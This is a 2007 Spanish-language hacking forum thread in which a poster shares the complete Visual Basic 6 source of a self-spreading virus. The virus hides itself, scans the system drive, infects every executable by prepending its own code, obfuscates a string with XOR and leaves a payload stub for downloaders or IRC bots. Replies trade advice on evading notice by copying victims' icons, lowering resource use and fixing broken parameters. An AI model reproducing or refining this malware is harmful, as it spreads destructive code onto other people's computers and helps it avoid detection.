elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [Source] Infección de ejecutables en VB6
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: [Source] Infección de ejecutables en VB6  (Leído 21,250 veces)
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
[Source] Infección de ejecutables en VB6
« en: 4 Abril 2007, 23:02 pm »

Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección :P Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source :)

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada



Form1.frm
Código
  1. Private Sub Form_Load()
  2.    App.TaskVisible = False
  3.    If App.PrevInstance = True Then End
  4.    SelfCheck
  5. End Sub
  6.  

InfectModule.bas
Código
  1.  
  2. Function SelfCheck()
  3.    On Error Resume Next
  4.    Dim MyCode As String
  5.  
  6.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  7.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  8.        MyCode = Input(LOF(1), 1)
  9.    Close #1
  10.  
  11.    'Separa "MyCode" buscando la marca de infección (**X**)
  12.    Buffer = Split(MyCode, "(**X**)")
  13.  
  14.    If UBound(Buffer) = 1 Then
  15.        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
  16.        Hostage = Buffer(1)
  17.        DivideFiles Hostage
  18.    Else
  19.        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
  20.        Subfolders (Environ("SystemDrive") & "\")
  21.        DoEvents
  22.        End
  23.    End If
  24. End Function
  25.  
  26. Function DivideFiles(ByVal Hostage As String)
  27.    Randomize
  28.    On Error Resume Next
  29.    Dim TmpFile As String
  30.  
  31.    'Crea un archivo temporal con el código del Huésped, por ejemplo:
  32.    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
  33.    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
  34.  
  35.    Open TmpFile For Binary As #1
  36.        Put #1, , Hostage
  37.    Close #1
  38.  
  39.    DoEvents
  40.    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
  41.    Shell TmpFile, vbNormalFocus
  42.    Call ExecPayload
  43. End Function
  44.  
  45. Function InfectFile(ByVal Victim As String)
  46.    On Error Resume Next
  47.    Dim VictimCode As String
  48.    Dim NewCode As String
  49.    Dim MyCode As String
  50.  
  51.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  52.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  53.        MyCode = Input(LOF(1), 1)
  54.    Close #1
  55.  
  56.    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
  57.    Open Victim For Binary As #1
  58.        VictimCode = Input(LOF(1), 1)
  59.    Close #1
  60.  
  61.    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
  62.    NewCode = MyCode & "(**X**)" & VictimCode
  63.  
  64.    'Sobrescribe el archivo Huésed con el infectado
  65.    Open Victim For Binary As #1
  66.        Put #1, , NewCode
  67.    Close #1
  68. End Function
  69.  
  70. Function IsInfected(ByVal File As String) As Boolean
  71.    On Error Resume Next
  72.    Dim FileCode As String
  73.  
  74.    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
  75.    Open File For Binary As #1
  76.        FileCode = Input(LOF(1), 1)
  77.    Close #1
  78.  
  79.    'Separa "FileCode" buscando la marca de infección (**X**)
  80.    Buffer = Split(FileCode, "(**X**)")
  81.  
  82.    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
  83.    If UBound(Buffer) <> 0 Then
  84.        IsInfected = True
  85.    Else
  86.        IsInfected = False
  87.    End If
  88. End Function
  89.  
  90. Function Subfolders(path)
  91.    On Error Resume Next
  92.    'Se cifra el string que carga el objeto Scripting.FileSystemObject
  93.    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
  94.    Set Drives = fso.Drives
  95.  
  96.    newpath = path
  97.    Set Fold = fso.GetFolder(newpath)
  98.    Set Files = Fold.Files
  99.  
  100.    For Each File In Files
  101.        ext = fso.GetExtensionName(File.path)
  102.        ext = LCase(ext)
  103.        nam = LCase(File.Name)
  104.        If (ext = "exe") Then
  105.            If IsInfected(File.path) = False Then
  106.                InfectFile (File.path)
  107.                DoEvents
  108.            End If
  109.        End If
  110.    Next
  111.  
  112.    Set File = Fold.Subfolders
  113.    For Each Subfol In File
  114.        Call Subfolders(Subfol.path)
  115.    Next
  116. End Function
  117.  
  118. Function ExecPayload()
  119.    '#######################################################
  120.    '##  Si quieres que los archivos infectados ejecuten  ##
  121.    '##  la función de buscar e infectar nuevos archivos  ##
  122.    '##  elimina los comentario que hay a continuación    ##
  123.    '#######################################################
  124.  
  125.    'Subfolders (Environ("SystemDrive") & "\")
  126.    'DoEvents
  127.  
  128.    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
  129.    End
  130. End Function
  131.  

Encryption.bas
Código
  1. Function bullet(FullCode)
  2.    'Funcion que cifra Strings con el operador XOR
  3.  
  4.    For i = 1 To Len(FullCode)
  5.        Current = Mid(FullCode, i, 1)
  6.        Code = Chr(Asc(Current) Xor 2)
  7.        bullet = bullet + Code
  8.    Next
  9. End Function
  10.  



Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!


« Última modificación: 30 Junio 2007, 15:16 pm por ||MadAntrax|| » En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #1 en: 4 Abril 2007, 23:05 pm »

Esté código lo programé enterito para el Laboratorio del foro, pedí si podía sacar el código fuera y aquí lo teneis, de pueden mejorar algunas cosillas, vosotros mismos...

Saludos!!


En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #2 en: 4 Abril 2007, 23:19 pm »

Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio, ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD

Lo dicho, si logro terminarlo lo posteare, ya que no voy a usar al codigo...

Salu2

PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #3 en: 4 Abril 2007, 23:24 pm »

ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Exacto, pero eso tiene facil solución... antes de infectar el archivo hay que leer su icono y escribirlo a nuestro código vírico, en mis pruebas con una máquina virtual funciona de maravilla, solo tienes que añadir el módulo de IconChanger.bas que ya postee aqui.

Saludos!!

PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\

Mi código es del 29 Junio 2006, desconozco si WarGhost lo hizo antes o después.

Saludos!!
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #4 en: 4 Abril 2007, 23:48 pm »

Ok...lo del icono me extraño, ya que canta mucho, y como no posteaste el modulo del icono pues crei que no lo cambiabas... ;) ;)

Un Saludo.  ;)
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #5 en: 5 Abril 2007, 00:20 am »

Muy bueno, lo provaré  :xD (En Virtual PC claro esta) ;D ;D

¿Y que habría que modificar en el codigo para que infectase solo a un .exe determinado? No a todos

Y una cosa, esto es una aplicacion o el codigo se lo añadimos por ejemplo a un archivo que tengamos nosotros??

Muy buenos todos tus trabajos
Un saludo ;) ;)
En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: [Source] Infección de ejecutables en VB6
« Respuesta #6 en: 5 Abril 2007, 02:36 am »

Citar
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio

eso no va a funcionar.

1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:

MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion

2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.

3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.

todo esto suponiendo que quieras hacerlo en vb.
En línea

nhaalclkiemr


Desconectado Desconectado

Mensajes: 1.678


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #7 en: 5 Abril 2007, 02:57 am »

Lo prové y algunos fallos:

-Durante la infeccion consume todos los recursos del sistema, en mi Virtual PC me apareció al advertencia "Minimo de memoria virtual" y tengo establecidos 512MB de RAM. Aunke tarde un poko mas debería actuar en segundo plano...pues puede que la victima desconfie o simlemente se le bloquee y reinicie...

-Una vez infectada la victima, las aplicaciones no se ejecutan con parametros, es decir, si abres un documento de texto Windows por defecto ejecuta "notepad.exe %1" pues si esta infectado solo se ejecutará "notepad.exe". Es decir, al abrir un archivo de texto simplemente se abrira el block de notas pero no abrira el archivo seleccionado...lo mismo pasa con archivos  de musica y tal...

Otro ejemplo, si escribes en ejecuta "cmd.exe /C "tasklist" en verdad te ejecutara "cmd.exe" simplemente se abrira la consola sin hacer nada mas...

Otro ejemplo, si dentro de la consola escribes cualquier comando como por ejemplo "taskkill /F /IM proceso.exe" simplemente te ejecutará "taskkill" por lo que en la ventana te aparecerá la ayuda de taskkill (que es lo que este responde cuando lo ejecutas sin parametros)

Por esto mismo los .bat tambien quedan inservibles

En resumen, los .exe infectados omiten cualquier parametro en su ejecucion...


Por el resto todo bien, aun no lo prové demasiado, de momento esos fueron los dos errores mas salientables...

Buen trabajo
Un saludo ;) ;)
En línea

StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #8 en: 5 Abril 2007, 07:03 am »

En mi máquina virtual el virus no consume tantos recursos, pero eso es tan facil como poner un sleep cada 100 archivos y solucionado.

El tema de los parametros ya era consciente, se puede solucionar de forma sencilla con una función más que recoja los parametros y se los envíe a la aplicación infectada

Para terminar, los archivos de system32 (cmd, taskkill, tasklist, etc...) tiene habilitado el SFC de Windows (Sistema de Protección de Archivos), si un virus o similar modifica, sobreescribe o elimina un ejecutable, esté se creará de nuevo pasado unos segundos. Es por eso que no se puede infectar el cmd, explorer, tasklist, etc...

Saludos!!
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
Saok Dagon

Desconectado Desconectado

Mensajes: 115

SaOk


Ver Perfil WWW
Re: [Source] Infección de ejecutables en VB6
« Respuesta #9 en: 5 Abril 2007, 12:27 pm »

Hola

bua esta mortal nen

Yo de siempre habia usado otra técnica, pero esta aparte de mas simple veo que es mas efectiva.

Lo unico que no encuentro es lo del IconChanger.bas que dices para mejorarlo.

saludos
En línea

www.colgados.net date una pasadita!

Todo el anime, manga, pelis, series...etc
Páginas: [1] 2 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines